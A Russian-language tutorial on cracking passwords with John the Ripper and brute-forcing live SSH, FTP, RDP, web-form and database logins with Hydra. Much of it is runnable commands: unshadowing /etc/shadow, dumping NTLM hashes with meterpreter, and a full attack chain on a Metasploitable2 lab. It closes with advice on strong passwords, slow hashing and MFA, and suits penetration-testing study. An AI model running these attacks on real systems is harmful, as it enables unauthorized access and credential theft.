Ты думаешь, твой пароль надёжный? Подожди — сейчас я покажу тебе, сколько времени нужно, чтобы его сломать. Спойлер: меньше, чем ты варишь кофе.
Два инструмента, два вектора, одна цель — сломать аутентификацию. John the Ripper ломает хэши офлайн: украл базу данных — взломал пароли без спешки. Hydra атакует онлайн: перебирает логины и пароли на живых сервисах в реальном времени. Вместе они закрывают 90% сценариев атак на пароли.
🧬 Теория: как хранятся пароли и почему это важно
Никто (надеюсь) не хранит пароли в открытом виде. Они хранятся в виде хэшей — результата необратимой функции:
|
1 2 3 |
password123 → MD5 → 482c811da5d5b4bc6d497ffa98491e38 password123 → SHA1 → cbfdac6008f9cab4083784cbd1874f76618d2a97 password123 → bcrypt → $2b$12$... (случайная соль + медленный алгоритм) |
Проблема: хэш-функции детерминированы. Один и тот же пароль всегда даёт один и тот же хэш (без соли). Поэтому взломщик просто перебирает варианты, хэширует каждый и сравнивает:
| Алгоритм | Скорость перебора (GPU RTX 4090) | Рекомендация |
|---|---|---|
| MD5 | ~164 млрд хэшей/сек | ☠️ Мёртв для паролей |
| SHA-1 | ~63 млрд хэшей/сек | ☠️ Мёртв для паролей |
| SHA-256 | ~22 млрд хэшей/сек | ⚠️ Слаб без соли |
| NTLM | ~156 млрд хэшей/сек | ☠️ Windows nightmare |
| bcrypt | ~184K хэшей/сек | ✅ Приемлемо |
| Argon2id | ~1K хэшей/сек | ✅ Лучший выбор |
💣 password123 в MD5 взламывается за 0.001 секунды — он уже есть в словарях. bcrypt с той же машиной — несколько часов. Разница в алгоритме решает всё.
⚔️ John the Ripper — офлайн-взломщик хэшей
John the Ripper (JtR) — легендарный инструмент с 1996 года, сейчас в версии Jumbo с поддержкой 400+ форматов хэшей. Работает офлайн: тебе нужен файл с хэшами — всё остальное он сделает сам.
Установка и первый запуск
|
1 2 3 4 5 6 7 8 9 |
# Kali/Parrot — уже установлен: john --version # Jumbo-версия с максимальным функционалом: git clone https://github.com/openwall/john.git cd john/src && ./configure && make -s clean && make -sj4 # Проверить поддерживаемые форматы: john --list=formats |
Режимы атаки
John поддерживает три основных стратегии:
1. Single Crack Mode — быстрый старт
Использует информацию из самого файла паролей (имя пользователя, GECOS-поля) для генерации кандидатов. Находит user:user123, admin:admin2024 мгновенно:
|
1 |
john --single hashes.txt |
2. Wordlist Mode — словарная атака
Самый эффективный режим: берёт готовый список паролей и пробует каждый:
|
1 2 3 4 5 6 7 8 9 10 |
# Базовая словарная атака: john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # С правилами мутации (добавляет цифры, заменяет буквы): john --wordlist=rockyou.txt --rules hashes.txt # Указать формат хэша явно: john --format=md5crypt --wordlist=rockyou.txt hashes.txt john --format=bcrypt --wordlist=rockyou.txt hashes.txt john --format=NT --wordlist=rockyou.txt hashes.txt # Windows NTLM |
rockyou.txt — словарь из 14 341 564 паролей, слитых в 2009 году при взломе RockYou.com. password123, qwerty, iloveyou, 123456789 — всё там.
3. Incremental Mode — брутфорс
Перебирает все возможные комбинации символов. Медленно, но неизбежно:
|
1 2 3 4 5 6 7 8 9 10 11 |
# Полный брутфорс: john --incremental hashes.txt # Только цифры (PIN-коды, простые пароли): john --incremental=digits hashes.txt # Только буквы: john --incremental=alpha hashes.txt # С маской (знаешь паттерн пароля): john --mask=?l?l?l?l?d?d?d?d hashes.txt # 4 буквы + 4 цифры |
Работа с Linux /etc/shadow
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# /etc/shadow содержит хэши паролей всех пользователей. # Для взлома нужно объединить passwd и shadow: unshadow /etc/passwd /etc/shadow > combined.txt # Теперь взламываем: john --wordlist=rockyou.txt combined.txt # Посмотреть уже взломанные пароли: john --show combined.txt # Продолжить прерванный сеанс: john --restore |
Работа с Windows хэшами
|
1 2 3 4 5 6 7 |
# Дамп хэшей NTLM из Metasploit (meterpreter): meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # Сохраняем и взламываем: echo "Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::" > ntlm.txt john --format=NT --wordlist=rockyou.txt ntlm.txt |
Полезные команды JtR
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Автоопределение формата: john --list=formats | grep -i md5 john hashes.txt # JtR сам определит формат # Статус взлома в реальном времени: john --status # Показать взломанные пароли: john --show hashes.txt john --show --format=NT ntlm.txt # Использовать несколько ядер CPU: john --fork=4 --wordlist=rockyou.txt hashes.txt # Создать кастомный словарь с CeWL (по сайту цели): cewl https://target.com -d 3 -m 6 -w custom_wordlist.txt john --wordlist=custom_wordlist.txt --rules hashes.txt |
🐉 THC-Hydra — онлайн брутфорс живых сервисов
Hydra атакует сетевые сервисы напрямую: SSH, FTP, HTTP, RDP, SMB, MySQL, VNC, Telnet и десятки других. Она не работает с хэшами — только с живыми системами. Быстрая, параллельная, беспощадная к слабым паролям.
Синтаксис и базовое использование
|
1 2 3 4 5 6 7 8 9 10 11 12 |
hydra [опции] [цель] [сервис] # Основные флаги: # -l [login] — один логин # -L [file] — список логинов из файла # -p [pass] — один пароль # -P [file] — словарь паролей # -t [N] — количество потоков (по умолчанию 16) # -v — verbose, показывать попытки # -V — очень verbose, каждая попытка # -s [port] — нестандартный порт # -o [file] — сохранить результат в файл |
SSH — самый частый вектор
|
1 2 3 4 5 6 7 8 9 10 11 |
# Один логин, словарь паролей: hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.101 ssh # Списки логинов и паролей: hydra -L users.txt -P passwords.txt 192.168.56.101 ssh # Быстро, 32 потока, нестандартный порт: hydra -l admin -P rockyou.txt -t 32 -s 2222 192.168.56.101 ssh # Сохранить найденные пары: hydra -l root -P rockyou.txt 192.168.56.101 ssh -o ssh_found.txt |
FTP, Telnet, RDP
|
1 2 3 4 5 6 7 8 9 10 11 |
# FTP: hydra -l admin -P rockyou.txt ftp://192.168.56.101 # Telnet: hydra -l root -P rockyou.txt telnet://192.168.56.101 # RDP (Windows Remote Desktop): hydra -l Administrator -P rockyou.txt rdp://192.168.1.100 # SMB: hydra -l administrator -P rockyou.txt 192.168.1.100 smb |
HTTP — атака на веб-формы
Самый сложный, но самый частый сценарий:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# HTTP POST-форма (логин на сайте): hydra -l admin -P rockyou.txt 192.168.56.101 \ http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid password" # Разбор параметров: # /login.php — URL формы # username=^USER^ — поле логина (^USER^ — подставляет логин) # &password=^PASS^ — поле пароля (^PASS^ — подставляет пароль) # :Invalid password — строка при неудачной попытке # HTTP Basic Auth: hydra -l admin -P rockyou.txt http-get://192.168.56.101/admin/ # HTTPS: hydra -l admin -P rockyou.txt https-post-form \ "target.com/login:user=^USER^&pass=^PASS^:Wrong credentials" |
MySQL, PostgreSQL, VNC
|
1 2 3 4 5 6 7 8 9 10 11 |
# MySQL: hydra -l root -P rockyou.txt 192.168.56.101 mysql # PostgreSQL: hydra -l postgres -P rockyou.txt 192.168.56.101 postgres # VNC (только пароль, без логина): hydra -P rockyou.txt 192.168.56.101 vnc # Redis: hydra -P rockyou.txt 192.168.56.101 redis |
🧰 Связка John + Hydra: реальный сценарий атаки
В реальном пентесте они работают в связке:
|
1 2 3 4 5 |
1. Nmap → найти открытые сервисы (SSH:22, HTTP:80, MySQL:3306) 2. OSINT → собрать email-адреса и имена сотрудников 3. Hydra → брутфорс SSH со списком реальных имён + rockyou.txt 4. Или: утечка БД → John the Ripper ломает хэши офлайн 5. Найденные пароли → credential stuffing на других сервисах |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Полный сценарий на Metasploitable2: # Шаг 1 — разведка: sudo nmap -sV 192.168.56.101 | grep open # Шаг 2 — брутфорс SSH: hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt \ -P /usr/share/wordlists/rockyou.txt \ -t 16 -vV 192.168.56.101 ssh # Шаг 3 — после получения доступа, дамп /etc/shadow: ssh msfadmin@192.168.56.101 sudo unshadow /etc/passwd /etc/shadow > /tmp/shadow_combined # Шаг 4 — взлом всех паролей системы: john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/shadow_combined john --show /tmp/shadow_combined |
📊 Время взлома: наглядно
Сколько времени займёт взлом пароля в зависимости от сложности (CPU + GPU атака):
| Пароль | Хэш | Время взлома |
|---|---|---|
password |
MD5 | мгновенно (есть в словаре) |
password123 |
MD5 | мгновенно (есть в словаре) |
P@ssw0rd |
MD5 | < 1 секунды (правила мутации) |
qwerty2024 |
SHA-256 | < 1 минуты (гибридная атака) |
MyDog$Name7 |
bcrypt | несколько часов |
Tr0ub4dor&3 |
bcrypt | недели |
x9#mK!qP2@nL |
bcrypt | практически невозможно |
верблюд-батарейка-степь |
Argon2id | нереально |
🛡️ Что делает пароль реально стойким
После всего этого — практические выводы для защиты:
|
1 2 3 4 5 6 7 8 9 10 11 |
✅ Длина важнее сложности: 20+ символов >> 8 символов с !@# ✅ Парольные фразы: "синий-кот-ест-пиццу-в-2026" — длинно и запоминаемо ✅ Уникальный пароль на каждый сервис (менеджер паролей: Bitwarden, KeePass) ✅ bcrypt / Argon2id на стороне сервера — не MD5, не SHA-1 ✅ MFA / 2FA — даже взломанный пароль не даст доступ без второго фактора ✅ Проверь себя: https://haveibeenpwned.com — есть ли твой email в утечках? ❌ password123, qwerty, admin, 123456 — это не пароли, это приглашения ❌ Замена букв символами (P@ssw0rd) — JtR знает все правила мутации ❌ Имя + год рождения (ivan1995) — первое что пробует любой скрипт ❌ Один пароль везде — одна утечка = доступ ко всему |
🔧 Дополнительные инструменты в экосистеме
| Инструмент | Назначение | Когда использовать |
|---|---|---|
| Hashcat | Офлайн-взлом с GPU | Быстрее JtR на GPU, поддерживает OpenCL/CUDA |
| CeWL | Генератор словарей с сайта | Целевые атаки — слова со страницы жертвы |
| Crunch | Генератор по маске | Знаешь паттерн пароля (длина, символы) |
| Medusa | Альтернатива Hydra | Параллельный брутфорс сетевых сервисов |
| Spray | Password Spraying | Один пароль против многих аккаунтов — обходит блокировку |
💣 Итог: password123 взламывается быстрее, чем ты его вводишь. John the Ripper и Hydra — это не магия, это математика и статистика: большинство людей выбирают предсказуемые пароли, а словари это знают. Единственная защита — длинный уникальный пароль, медленный алгоритм хэширования и MFA. Всё остальное — вопрос времени.



